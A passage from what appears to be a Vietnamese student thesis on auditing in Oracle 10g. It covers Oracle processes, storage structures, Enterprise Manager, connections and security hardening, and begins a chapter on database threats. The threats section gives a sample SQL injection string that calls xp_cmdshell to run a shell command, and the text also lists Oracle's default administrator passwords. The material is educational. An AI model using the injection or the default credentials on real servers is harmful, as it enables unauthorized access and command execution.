block trong buffer cache. Database writer (DBWR) ghi các thông tin được
đánh dấu thay đổi từ database buffer cache lên các data files nhằm đảm bảo
luôn có khoảng trống bộ đệm cần thiết cho việc sử dụng.
Hình 1.7 Database Writer (DBWR)
Lớp AT3C - 22 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Với việc sử dụng này, hiệu suất sử dụng database sẽ được cải thiện do
Server processes chỉ tạo các thay đổi trên buffer cache, DBWR ghi dữ liệu
vào các data file cho tới khi:
Số lượng buffers đánh bị dấu đạt tới giá trị ngưỡng.
Tiến trình duyệt tất cả buffer mà vẫn không tìm thấy dữ liệu tương
ứng.
Quá thời gian quy định.
1.3.1.7. Log Writer.
Log Writer (LGWR) là một trong các background process có trách
nhiệm quản lý redo log buffer để ghi lại các thông tin trong Redo log buffer
vào Redo log file. Redo log buffer là bộ đệm dữ liệu được tổ chức theo kiểu
nối vòng.
Hình 1.8: Log Writer (LGWT)
LGWR ghi lại dữ liệu một cách tuần tự vào redo log file theo các tình
huống sau:
Khi redo log buffer đầy
Khi xảy ra timeout (thông thường là 3 giây)
Trước khi DBWR ghi lại các blocks bị thay đổi trong data buffer
cache vào các data files.
Lớp AT3C - 23 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Khi commit một transaction.
1.3.1.8. System Monitor (SMON).
Tiến trình system monitor (SMON) thực hiện phục hồi các sự cố (crash
recovery) ngay tại thời điểm instance được khởi động (startup), nếu cần thiết.
SMON cũng có trách nhiệm dọn dẹp các temporary segments không còn được
sử dụng nữa trong dictionary-managed tablespaces. SMON khôi phục lại các
transactions bị chết mỗi khi xảy ra sự cố. SMON đều đặn thực hiện kiểm tra
và khắc phục các sự cố khi cần.
Trong môi trường Oracle Parallel Server, SMON process của một
instance có thể thực hiện khôi phục instance trong trường hợp instance hay
CPU của máy tính đó gặp sự cố.
1.3.1.9. Process Monitor (PMON).
Tiến trình process monitor (PMON) thực hiện tiến trình phục hồi mỗi
khi có một user process gặp lỗi. PMON có trách nhiệm dọn dẹp database
buffer cache và giải phóng tài nguyên mà user process đó sử dụng. Ví dụ, nó
thiết lập lại (reset) trạng thái của các bảng đang thực hiện trong transaction,
giải phóng các locks trên bảng này, và huỷ bỏ process ID của nó ra khỏi danh
sách các active processes.
PMON kiểm tra trạng thái của nơi gửi (dispatcher ) và các server
processes, khởi động lại (restarts) mỗi khi xảy ra sự cố. PMON cũng còn thực
hiện việc đăng ký các thông tin về instance và dispatcher processes với
network listener.
Tương tự như SMON, PMON được gọi đến mỗi khi xảy ra sự cố trong
hệ thống.
1.3.1.10. Checkpoint Process (CKPT).
Cập nhật lại trạng thái của thông tin trong file điều khiển và file dữ liệu
mỗi khi có thay đổi trong buffer cache. Xảy ra checkpoints khi:
Tất cả các dữ liệu trong database buffers đã bị thay đổi tính cho
đến thời điểm checkpointed sẽ được background process DBWRn
ghi lên data files.
Lớp AT3C - 24 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Background process CKPT cập nhật phần headers của các data
files và các control files.
Checkpoints có thể xảy ra đối với tất cả các data files trong
database hoặc cũng có thể xảy ra với một data files cụ thể.
Checkpoint xảy ra theo các tình huống sau:
Mỗi khi có log switch
Khi một shut down một database với các chế độ trừ chế độ abort
Xảy ra theo như thời gian quy định trong các tham số khởi tạo
LOG_CHECKPOINT_INTERVAL và
LOG_CHECKPOINT_TIMEOUT
Khi có yêu cầu trực tiếp của quản trị viên
Thông tin về checkpoint được lưu trữ trong Alert file trong trường
hợp các tham số khởi tạo LOG_CHECKPOINTS_TO_ALERT
được đặt là TRUE. Và ngược lại với giá trị FALSE.
1.3.2. Oracle database.
Oracle database là tập hợp các dữ liệu được xem như một đơn vị thành
phần (Unit). Database có nhiệm vụ lưu trữ và trả về các thông tin liên quan.
Database được xem xét dưới hai góc độ cấu trúc logic và cấu trúc vật lý . Tuy
vậy, hai cấu trúc dữ liệu này vẫn tồn tại tách biệt nhau, việc quản lý dữ liệu
theo cấu trúc lưu trữ vật lý không gây ảnh hưởng tới cấu trúc logic
Oracle database được xác định bởi tên một tên duy nhất và được quy
định trong tham số DB_NAME của parameter file.
Lớp AT3C - 25 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Hình 1.9: Cấu trúc database
Cấu trúc vật lý database
Cấu trúc vật lý bao gồm tập hợp các control file, online redo log file và
các datafile:
Datafiles
Mỗi một Oracle database đều có thể có một hay nhiều datafiles. Các
database datafiles chứa toàn bộ dữ liệu trong database. Các dữ liệu thuộc cấu
trúc logic của database như tables hay indexes đều được lưu trữ dưới dạng
vật lý trong các datafiles của database.
Một số tính chất của datafiles:
Mỗi datafile chỉ có thể được sử dụng trong một database.
Bên cạnh đó, datafiles cũng còn có một số tính chất cho phép tự
động mở rộng kích thước mỗi khi database hết chỗ lưu trữ dữ liệu.
Một hay nhiều datafiles tạo nên một đơn vị lưu trữ logic của
database gọi là tablespace.
Một datafile chỉ thuộc về một tablespace.
Dữ liệu trong một datafile có thể đọc ra và lưu vào vùng nhớ bộ đệm của
Oracle. Ví dụ: khi một user muốn truy cập dữ liệu trong một table thuộc
database. Trong trường hợp thông tin yêu cầu không có trong cache memory
Lớp AT3C - 26 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
hiện thời, nó sẽ được đọc trực tiếp từ các datafiles ra và lưu trữ vào trong bộ
nhớ.
Tuy nhiên, việc bổ sung hay thêm mới dữ liệu vào database không nhất
thiết phải ghi ngay vào các datafile. Các dữ liệu có thể tạm thời ghi vào bộ
nhớ để giảm thiểu việc truy xuất tới bộ nhớ ngoài (ổ đĩa) làm tăng hiệu năng
sử dụng hệ thống. Công việc ghi dữ liệu này được thực hiện bởi DBWn
background process.
Redo Log Files
Mỗi Oracle database đều có một tập hợp từ 02 redo log files trở lên. Các
redo log files trong database thường được gọi là database's redo log. Một redo
log được tạo thành từ nhiều redo entries (gọi là các redo records).
Chức năng chính của redo log là ghi lại tất cả các thay đổi đối với dữ
liệu trong database. Redo log files được sử dụng để bảo vệ database khỏi
những hỏng hóc do sự cố. Oracle cho phép sử dụng cùng một lúc nhiều redo
log gọi là multiplexed redo log để cùng lưu trữ các bản sao của redo log trên
các ổ đĩa khác nhau.
Các thông tin trong redo log file chỉ được sử dụng để khôi phục lại
database trong trường hợp hệ thống gặp sự cố và không cho phép viết trực
tiếp dữ liệu trong database lên các datafiles trong database. Ví dụ: khi có sự
cố xảy ra như mất điện bất chợt chẳng hạn, các dữ liệu trong bộ nhớ không
thể ghi trực tiếp lên các datafiles và gây ra hiện tượng mất dữ liệu. Tuy nhiên,
tất cả các dữ liệu bị mất này đều có thể khôi phục lại ngay khi database được
mở trở lại. Việc này có thể thực hiện được thông qua việc sử dụng ngay chính
các thông tin mới nhất có trong các redo log files thuộc datafiles. Oracle sẽ
khôi phục lại các database cho đến thời điểm trước khi xảy ra sự cố.
Công việc khôi phục dữ liệu từ các redo log được gọi là rolling forward.
Control Files
Mỗi Oracle database đều có ít nhất một control file. Control file chứa các
mục thông tin quy định cấu trúc vật lý của database như:
Tên của database.
Tên và nơi lưu trữ các datafiles hay redo log files.
Lớp AT3C - 27 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Time stamp (mốc thời gian) tạo lập database, ...
Mỗi khi nào một instance của Oracle database được mở, control file của
nó sẽ được sử dụng để xác định data files và các redo log files đi kèm. Khi
các thành phần vật lý cả database bị thay đổi (ví dụ như, tạo mới datafile hay
redo log file), Control file sẽ được tự động thay đổi tương ứng bởi Oracle.
Control file cũng được sử dụng đến khi thực hiện khôi phục lại dữ liệu.
Cấu trúc logic databse
Cấu trúc logic của Oracle database bao gồm các đối tượng tablespaces,
schema objects, data blocks, extents, và segments.
Tablespaces
Một database có thể được phân chia về mặt logic thành các đơn vị gọi là
các tablespaces, Tablespaces thường bao gồm một nhóm các thành phần có
quan hệ logic với nhau.
Databases, Tablespaces, và Datafiles
Mối quan hệ giữa các databases, tablespaces, và datafiles có thể được
minh hoạ bởi hình vẽ sau:
Hình 1.10: Quan hệ giữa database, tablespace và datafile
Có một số điểm ta cần quan tâm:
Mỗi database có thể phân chia về mặt logic thành một hay nhiều
tablespace.
Lớp AT3C - 28 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Mỗi tablespace có thể được tạo nên, về mặt vật lý, bởi một hoặc
nhiều datafiles.
Kích thước của một tablespace bằng tổng kích thước của các
datafiles của nó. Ví dụ: trong hình vẽ ở trên SYSTEM tablespace
có kích thước là 2 MB còn USERS tablespace có kích thước là 4
MB.
Kích thước của database cũng có thể xác định được bằng tổng
kích thước của các tablespaces của nó. Ví dụ: trong hình vẽ trên
thì kích thước của database là 6 MB.
Hình 1.11: Cấu trúc lưu trữ (Storage)
Schema và Schema Objects
Schema là tập hợp các đối tượng (objects) có trong database. Schema
objects là các cấu trúc logic cho phép tham chiếu trực tiếp tới dữ liệu trong
database. Schema objects bao gồm các cấu trúc như tables, views, sequences,
stored procedures, synonyms, indexes, clusters, và database links.
Data Blocks, Extents, and Segments
Oracle điểu khiển không gian lưu trữ trên đĩa cứng theo các cấu trúc
logic bao gồm các data blocks, extents, và segments.
Oracle Data Blocks
Lớp AT3C - 29 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Là mức phân cấp logic thấp nhất, các dữ liệu của Oracle database
được lưu trữ trong các data blocks. Một data block tương ứng với một số
lượng nhất định các bytes vật lý của database trong không gian đĩa cứng. Kích
thước của một data block được chỉ ra cho mỗi Oracle database ngay khi
database được tạo lập. Database sử dụng, cấp phát và giải phóng vùng không
gian lưu trữ thông qua các Oracle data blocks.
Extents
Là mức phân chia cao hơn về mặt logic các vùng không gian trong
database. Một extent bao gồm một số data blocks liên tiếp nhau, cùng được
lưu trữ tại một thiết bị lưu giữ. Extent được sử dụng để lưu trữ các thông tin
có cùng kiểu.
Segments
Là mức phân chia cao hơn nữa về mặt logic các vùng không gian trong
database. Một segment là một tập hợp các extents được cấp phát cho một cấu
trúc logic . Segment có thể được phân chia theo nhiều loại khác nhau:
Data
segment
Mỗi một non-clustered table có một data segment. Các dữ
liệu trong một table được lưu trữ trong các extents thuộc
data segment đó. Với một partitioned table thì mỗi each
partition lại tương ứng với một data segment.
Mỗi Cluster tương ứng với một data segment. Dữ liệu của
tất cả các table trong cluster đó đều được lưu trữ trong data
segment thuộc Cluster đó.
Index
segment
Mỗi một index đều có một index segment lưu trữ các dữ liệu
của nó. Trong partitioned index thì mỗi partition cũng lại
tương ứng với một index segment.
Rollback
segment
Một hoặc nhiều rollback segments của database được tạo
lập bởi người quản trị database để lưu trữ các dữ liệu trung
gian phục vụ cho việc khôi phục dữ liệu.
Các thông tin trong Rollback segment được sử dụng để:
Tạo sự đồng nhất các thông tin đọc được từ database
Lớp AT3C - 30 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Sử dụng trong quá trình khôi phục dữ liệu
Phục hồi lại các giao dịch chưa commit đối với mỗi
user
Temporar
y segment
Temporary segments được tự động tạo bởi Oracle mỗi khi
một câu lệnh SQL statement cần đến một vùng nhớ trung
gian để thực hiện các công việc của mình như sắp xếp dữ
liệu. Khi kết thúc câu lệnh đó, các extent thuộc temporary
segment sẽ lại được hoàn trả cho hệ thống.
Bảng 1.1: Cấu trúc database.
Oracle thực hiện cấp phát vùng không gian lưu trữ một cách linh hoạt
mỗi khi các extents cấp phát đã sử dụng hết.
Các cấu trúc vật lý khác
Ngoài ra, Oracle Server còn sử dụng các file khác để lưu trữ thông tin.
Các file đó bao gồm:
Parameter file: Parameter file chỉ ra các tham số được sử dụng
trong database. Người quản trị database có thể sửa đổi một vài
thông tin có trong file này. Các tham số trong parameter file được
viết ở dạng văn bản.
Password file: Xác định quyền của từng user trong database. Cho
phép người sử dụng khởi động và tắt một Oracle instance.
Archived redo log files: Là bản off line của các redo log files chứa
các thông tin cần thiết để phục hồi dữ liệu.
1.4. QUẢN TRỊ CSDL VỚI ORACLE ENTERPRISE MANAGER
(OEM).
OEM là một chương trình ứng dụng cho phép người quản trị CSDL có
thể thực hiện các chức năng quản trị CSDL Oracle từ xa. Đối với các phiên
bản trước 10g, công cụ OEM được viết bằng ứng dụng Java và có thể chạy
trên cả Server lẫn Client. Tuy nhiên, để có thể quản trị từ máy Client, người
dùng cần phải cài Oracle Client – một phần mềm tương đối nặng. Vì thế, từ
Lớp AT3C - 31 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
phiên bản 10g trở đi, OEM được viết dưới dạng ứng dụng web mà người
dùng có thể truy cập từ máy Client không cần cài đặt thêm Oracle Client.
1.4.1. Khởi động OEM trên server.
Để OEM có thể hoạt động, cần phải khởi động chương trình OEM trên
Server (thường trực dưới dạng service trong Windows). Người quản trị thực
hiện khởi động theo các bước sau :
Bước 1: Chọn Start Run gõ lệnh cmd
Bước 2: Khởi động OEM trên Server bằng lệnh emctl start
dbconsole
Bước 3: Đợi chương trình khởi động xong, đóng cửa sổ command
lại. Kết thúc quá trình khởi động OEM trên Server.
1.4.2. Làm việc với OEM.
Mở một trình duyệt web như Internet Explorer, Firefox, Opera… Tại ô
địa chỉ, đánh địa chỉ đăng nhập theo cú pháp http://<IP server>:5500/em/
Ví dụ: thông thường Oracle được cài trên máy đơn, truy cập OEM qua
địa chỉ http://localhost:5500/em/
Nếu OEM trên server hoạt động tốt và không bị lỗi, xuất hiện màn hình
làm việc của chương trình OEM với cửa sổ đăng nhập đầu tiên để bắt đầu làm
việc.
Lớp AT3C - 32 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Hình 1.12: Giao diện đăng nhập database oracle.
Mỗi CSDL mặc định khi tạo có các người dùng SYS và SYSTEM, với
mật khẩu được thiết lập trong quá trình tạo CSDL. Nếu trong trường hợp
không thiết lập mật khẩu, các người dùng này có các mật khNu mặc định bao
gồm :
SYS có mật khẩu CHANGE_ON_INSTALL
SYSTEM có mật khẩu MANAGER
Đối với 2 người dùng này chọn Connect as SYSDBA.
Sau khi đăng nhập thành công, xuất hiện màn hình quản lý của Oracle.
Tại đây người quản trị sẽ bắt đầu làm việc với các chức năng quản trị hệ
thống.
Hình 1.13: Màn hình quản lý oracle.
1.4.3 Các chức năng chính của OEM
Home: chứa giao diện thông báo trạng thái hoạt động của
Database Server và các chức năng chính để khởi động (startup)
hoặc dừng hoạt động (shutdown) của Database Server.
Lớp AT3C - 33 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Performance: theo dõi năng lực hoạt động của hệ thống thông qua
giao diện đồ họa và các biểu đồ.
Administrator: chứa đựng toàn bộ các chức năng để thực hiện việc
quản trị và cấu hình hệ thống đối với Oracle Database.
Maintenance: chứa đựng các chức năng vận hành và duy trì hệ
thống.
Chức năng quan trọng nhất của OEM chính là Administrator, có giao
diện như sau:
Hình 1.14: Giao diện Administrator
1.5. KẾT NỐI TỚI ORACLE SERVER.
1.5.1. Mô hình kết nối.
Các Client có thể kết nối tới Oracle Server thông qua 03 cách sau:
Kết nối trực tiếp: kết nối mà Client nằm trên cùng một máy chủ
Oracle server.
Kết nối hai lớp (two-tiered) client-server: Client nằm trên một
máy tính khác và kết nối trực tiếp tới máy chủ Oracle Server.
Kết nối ba lớp (three-tiered): Client nằm trên máy tính khác với
máy chủ Oracle Server, nó giao tiếp với một ứng dụng hay một
máy chủ mạng (network server) và điều khiển ứng dụng hay máy
chủ này kết nối tới Oracle server.
Lớp AT3C - 34 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Hình 1.15: Kết nối tới Oracle server
1.5.2. Một số khái niệm cơ bản liên quan đến kết nối.
1.5.2.1. Connection (liên kết).
Liên kết là đường liên lạc giữa một user process và một Oracle server.
Trong trường hợp user sử dụng các tool hoặc các ứng dụng ngay trên cùng
một máy với Oracle server, đường liên lạc sẽ được tạo lập ngay trên máy đó.
Trong trường hợp user nằm trên một máy khác thì liên kết sẽ sử dụng đường
mạng để kết nối tới Oracle server.
1.5.2.2. Session (phiên).
Một phiên tương ứng với một liên kết cụ thể của một user tới một Oracle
server. Phiên bắt đầu khi user kết nối tới Oracle Server đã được kiểm tra hợp
lệ và kết thúc khi user thực hiện log out khỏi Oracle Server hoặc user kết thúc
một cách bất thường. Một user cùng một lúc có thể có nhiều phiên làm việc
để kết nối tới Oracle Server thông qua các ứng dụng hay các tool khác nhau.
Ví du: User có thể đồng thời có các phiên làm việc giữa SQL*Plus,
Developer/2000 Form,... tới Oracle Server.
Lưu ý: Phiên chỉ tạo lập được khi Oracle Server đã sẵn sàng cho việc kết
nối của các client.
Để kết nối tới database trước tiên, cần phải tạo liên kết tới Oracle Server.
Liên kết tới Oracle Server được tạo theo các bước sau:
User sử dụng công cụ SQL*Plus hay sử dụng các công cụ khác
của Oracle như Developer/2000 Forms để khởi tạo tiến trình.
Lớp AT3C - 35 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Trong mô hình Client-Server, các công cụ hay ứng dụng này được
chạy trên máy Client.
User thực hiện log in vào Oracle server với việc khai báo
username, password và tên liên kết tới database. Các ứng dụng
tools sẽ tạo một tiến trình để kết nối tới Oracle server qua các
tham số này. Tiến trình này được gọi là tiến trình phục vụ. Tiến
trình phục vụ sẽ giao tiếp với Oracle server thay cho tiến trình của
user chạy trên máy Client.
1.6. BẢO MẬT TRONG ORACLE.
1.6.1 Trình tự kiện toàn an ninh Oracle Database 10g.
Bước 1 – Chỉ cấu hình cài đặt chức năng cần dùng.
Tính năng tùy chọn.
Tài khoản mẫu.
Bước 2 - Khóa và làm mất hiệu lực các tài khoản mặc định.
Tài khoản của Oracle Enterprise Manager.
Bước 3 - Đổi mật khẩu tài khoản mặc định.
Đổi mật khẩu tài khoản mặc định có quyền quản trị.
Đổi mật khẩu tài khoản mặc định.
Áp dụng thủ tục quản lý mật khẩu của Oracle.
Bước 4 - Bảo vệ từ điển dữ liệu.
Bước 5 - Thực hiện nguyên tắc quyền tối thiểu.
Chỉ gán quyền cần thiết
Gỡ quyền không cần thiết khỏi PUBLIC..
Chỉ gán ROLE khi cần tất cả quyền trong ROLE..
Giới hạn quyền được cấp trong thời gian chương trình chạy.
Bước 6 - Áp dụng kiểm soát truy cập chặt và xác thực mạnh.
Xác thực máy trạm đúng.
Bước 7 - Giới hạn truy cập Hệ điều hành máy chủ Oracle.
Lớp AT3C - 36 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Bước 8 - Giới hạn truy cập mạng.
Sử dụng Tường lửa.
Bảo vệ Oracle Listener.
Giám sát truy cập hệ thống.
Kiểm tra địa chỉ IP.
Mã hóa giao thông mạng.
Kiện toàn an ninh Hệ điều hành máy chủ Oracle.
Bước 9 - Cập nhật bản vá lỗi định kì
Bước 10 - Liên hệ Oracle.
1.6.2. Bảo mật cơ sở dữ liệu.
Một hệ thống an toàn đảm bảo tính bảo mật của dữ liệu mà nó chứa. Có
một số khía cạnh của bảo mật:
Hạn chế truy cập dữ liệu và dịch vụ
Chứng thực người dùng
Giám sát đối với hoạt động đáng ngờ
Oracle Database 10g cung cấp framework tốt nhất của ngành công
nghiệp cho một hệ thống an toàn. Nhưng để framework có hiệu
quả, người quản trị cơ sở dữ liệu phải tuân theo các thực hành tốt
nhất và liên tục giám sát hoạt động cơ sở dữ liệu.
1.6.2.1. Hạn chế truy cập đến dữ liệu và dịch vụ.
Tất cả người dùng không phải có quyền truy cập vào tất cả các dữ liệu.
Tùy thuộc vào những gì được lưu trữ trong cơ sở dữ liệu,truy cập bị giới hạn
có thể được uỷ quyền yêu cầu kinh doanh, bởi những kỳ vọng của khách
hàng, và ngày càng được hạn chế pháp lý. Thẻ tín dụng thông tin, dữ liệu y tế,
thông tin nhận dạng,và như vậy phải được bảo vệ khỏi truy cập trái phép. Các
cơ sở dữ liệu Oracle cung cấp uỷ quyền kiểm soát để hạn chế truy cập cơ sở
dữ liệu. Hạn chế truy cập phải có áp dụng các nguyên tắc đặc quyền tối thiểu.
Lớp AT3C - 37 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
1.6.2.2. Chứng thực người dùng.
Để thực thi kiểm soát truy cập vào dữ liệu nhạy cảm, hệ thống đầu tiên
phải biết ai đang cố gắng truy cập dữ liệu.Bị trục trặc về chứng thực có thể dẫn
tới các đề phòng về bảo mật khác trở thành vô dụng.
Hình thức xác thực người dùng cơ bản nhất bằng cách thử thách người
dùng để cung cấp một cái gì đó mà họ biết,chẳng hạn như một mật khẩu. Đảm
bảo rằng mật khẩu theo những quy tắc đơn giản rất nhiều có thể tăng bảo mật
hệ thống.
Phương pháp xác thực mạnh mẽ hơn bao gồm yêu cầu người dùng cung
cấp một cái gì đó mà họ có, chẳng hạn như một thẻ bài hoặc public key
infrastructure (PKI) certificate.
Thậm chí còn mạnh mẽ hơn nữa là hình thức thẩm định là xác định
người dùng thông qua một đặc tính sinh trắc học độc đáo như một vân tay,
quét mống mắt, mô hình cấu trúc xương. Các cơ sở dữ liệu Oracle hỗ trợ nâng
cao thẩm định kỹ thuật, chẳng hạn như thẻ-, sinh trắc học-, xác định dựa trên
chứng chỉ và, thông qua các tùy chọn Advanced Security.
Tài khoản người dùng mà không được sử dụng phải được khóa để ngăn
chặn nỗ lực để thỏa hiệp xác thực.
1.6.2.3. Giám sát cho Hành vi Đáng ngờ.
Thậm chí có thẩm quyền và người sử dụng chứng thực đôi khi có thể thỏa
hiệp hệ thống. Xác định cơ sở dữ liệu hoạt động không bình thường (chẳng hạn
như một nhân viên đột nhiên bắt đầu truy vấn số lượng lớn thông tin thẻ tín
dụng, kết quả nghiên cứu, hoặc các thông tin nhạy cảm khác) có thể là bước
đầu tiên phát hiện hành vi trộm cắp thông tin. Các cơ sở dữ liệu Oracle cung
cấp một bộ công cụ phong phú của kiểm toán để theo dõi người dùng hoạt
động và xác định xu hướng đáng ngờ.
1.6.3. Nguyên lý đặc quyền tối thiểu.
Cài đặt phần mềm chỉ cần thiết trên máy.
Kích hoạt dịch vụ chỉ cần thiết trên máy.
Lớp AT3C - 38 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Cung cấp cho hệ điều hành và truy cập cơ sở dữ liệu để chỉ những người
sử dụng yêu cầu truy cập.
Hạn chế truy cập vào thư mục gốc hoặc tài khoản quản trị.
Hạn chế truy cập vào các tài khoản SYSDBA và SYSOPER.
Hạn chế người dùng truy cập để chỉ các đối tượng cơ sở dữ liệu cần phải
làm công việc của họ.
1.6.3.1. Các nguyên lý đặc quyền tối thiểu.
Áp dụng các nguyên tắc đặc quyền tối thiểu bắt đầu từ mức thấp nhất, và
tiếp tục ở mọi cấp độ. Luôn có những hành động khai thác bảo mật mới mà
không thể được dự đoán. Bằng cách áp dụng nguyên tắc này, các khả năng khai
thác giảm và thiệt hại có thể có.
Cài đặt phần mềm chỉ cần thiết trên máy tính này: Bằng cách giảm số
lượng các phần mềm gói, Cần giảm bảo trì, nâng cấp, khả năng lỗ hổng bảo
mật, và phần mềm xung đột.
Kích hoạt dịch vụ chỉ cần thiết trên máy: các dịch vụ ít hơn hàm ý ít
cổng mở và ít tấn công vectơ.
Cung cấp cho hệ điều hành (OS) và truy cập cơ sở dữ liệu để chỉ những
người dùng đó có yêu cầu truy cập: Ít có nghĩa là người sử dụng mật khẩu ít
hơn và các tài khoản. Điều này làm giảm khả năng mở hoặc các tài khoản cũ.
Tài khoản ít hơn làm cho nó dễ dàng hơn cho các quản trị viên để giữ tài
khoản hiện hành.
Hạn chế truy cập vào thư mục gốc hoặc tài khoản quản trị: Các tài khoản
quản trị phải được cẩn thận bảo vệ, kiểm toán, và không bao giờ chia sẻ.
Hạn chế truy cập vào các tài khoản SYSDBA và SYSOPER: Người
dùng cần truy cập vào các vai trò của từng tài khoản riêng của họ và được
kiểm toán.
Hạn chế người dùng truy cập,để họ chỉ truy cập các đối tượng cơ sở dữ
liệu cần thiết để làm công việc của họ
1.6.3.2. Áp dụng các nguyên tắc đặc quyền tối thiểu.
Bảo vệ dữ liệu từ điển(data dictionary)
Lớp AT3C - 39 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Thu hồi những đặc quyền không cần thiêt từ Public
Hạn chế người dùng truy cập directory.
Hạn chế người dùng với quyền administrative.
Hạn chế xác thực cơ sở dữ liệu từ xa
Trong quá trình xác thực từ xa:
Người sử dụng cơ sở dữ liệu được chứng thực từ bên ngoài
Hệ thống xác thực người dùng từ xa
Người sử dụng đăng nhập vào cơ sở dữ liệu mà không cần xác
thực hơn nữa
Chương 2
KIỂM TOÁN TRONG ORACLE 10G
2.1. TẠI SAO PHẢI KIỂM TOÁN.
Lớp AT3C - 40 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
An toàn thông tin trong cơ sở dữ liệu bao gồm 3 yếu tố chính: tính bí
mật, toàn vẹn và sẵn sàng.Vì thế để đảm bảo an toàn thông tin trong cơ sở dữ
liệu cần đảm bảo cả ba yếu tố.Bí mật yếu tố quan trọng nhất để đảm bảo an
toàn trong các môi trường, cả quân sự lẫn thương mại.Đảm bảo tính toàn vẹn
có nghĩa là ngăn chặn, phát hiện và xác định các sửa đổi thông tin trái phép.
Đảm bảo tính sẵn sàng có nghĩa là ngăn chặn, phát hiện và xác định các từ
chối truy nhập chính đáng vào các dịch vụ mà hệ thống cung cấp.
2.1.1. Các hiểm hoạ đối với an toàn cơ sở dữ liệu
Một hiểm hoạ có thể được xác định khi đối phương (người, hoặc nhóm
người) sử dụng các kỹ thuật đặc biệt để tiếp cận nhằm khám phá, sửa đổi trái
phép thông tin quan trọng do hệ thống quản lý.
Các xâm phạm tính an toàn cơ sở dữ liệu bao gồm đọc, sửa, xoá dữ liệu
trái phép. Thông qua những xâm phạm này, đối phương có thể:
Khai thác dữ liệu trái phép thông qua suy diễn thông tin được
phép.
Sửa đổi dữ liệu trái phép.
Từ chối dịch vụ hợp pháp.
Các hiểm hoạ an toàn có thể được phân lớp, tuỳ theo cách thức xuất hiện
của chúng, là hiểm hoạ có chủ ý và vô ý (ngẫu nhiên).
Những xâm phạm trên liên quan đến hai lớp người dùng sau:
Người dùng được phép là người có thể lạm dụng quyền, sử dụng
vượt quá quyền hạn được phép của họ.
Đối phương là người, hay nhóm người truy nhập thông tin trái
phép, có thể là những người nằm ngoài tổ chức hay bên trong tổ
chức. Họ tiến hành các hành vi phá hoại phần mềm cơ sở dữ liệu
hay phần cứng của hệ thống, hoặc đọc ghi dữ liệu trái phép. Trong
cả hai trường hợp trên, họ đều thực hiện với chủ ý rõ ràng.
Một số tấn công phổ biến hiện nay:
Tấn công SQL injection
Lớp AT3C - 41 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
SQL injection là một kĩ thuật cho phép những kẻ tấn công lợi dụng lỗ
hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng web và các thông
báo lỗi của hệ quản trị cơ sở dữ liệu để "tiêm vào"(inject) và thi hành các câu
lệnh SQL bất hợp pháp (không được người phát triển ứng dụng lường trước).
Hậu quả của nó rất tai hại vì nó cho phép những kẻ tấn công có thể thực hiện
các thao tác xóa, hiệu chỉnh, … do có toàn quyền trên cơ sở dữ liệu của ứng
dụng, thậm chí là server mà ứng dụng đó đang chạy. Lỗi này thường xảy ra
trên các ứng dụng web có dữ liệu được quản lí bằng các hệ quản trị cơ sở dữ
liệu như SQL Server, MySQL, Oracle, DB2, Sysbase.
Có bốn dạng thông thường bao gồm: vượt qua kiểm tra lúc đăng nhập
(authorization bypass), sử dụng câu lện SELECT, sử dụng câu lệnh INSERT,
sử dụng các stored-procedures [2], [3].
- Dạng tấn công vượt qua kiểm tra đăng nhập
Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng
nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của
ứng dụng web.
- Dạng tấn công sử dụng câu lệnh SELECT
Dạng tấn công này phức tạp hơn. Để thực hiện được kiểu tấn công này,
kẻ tấn công phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo
lỗi từ hệ thống để dò tìm các điểm yếu khởi đầu cho việc tấn công.
- Dạng tấn công sử dụng câu lệnh INSERT
Thông thường các ứng dụng web cho phép người dùng đăng kí một tài
khoản để tham gia. Chức năng không thể thiếu là sau khi đăng kí thành công,
người dùng có thể xem và hiệu chỉnh thông tin của mình. SQL injection có
thể được dùng khi hệ thống không kiểm tra tính hợp lệ của thông tin nhập
vào.
- Dạng tấn công sử dụng stored-procedures
Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu ứng
dụng được thực thi với quyền quản trị hệ thống 'sa'. Ví dụ, nếu ta thay đoạn
mã tiêm vào dạng: ' ; EXEC xp_cmdshell ‘cmd.exe dir C: '. Lúc này hệ thống
sẽ thực hiện lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt server. Việc phá hoại
kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe.
Lớp AT3C - 42 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Attacking Oracle
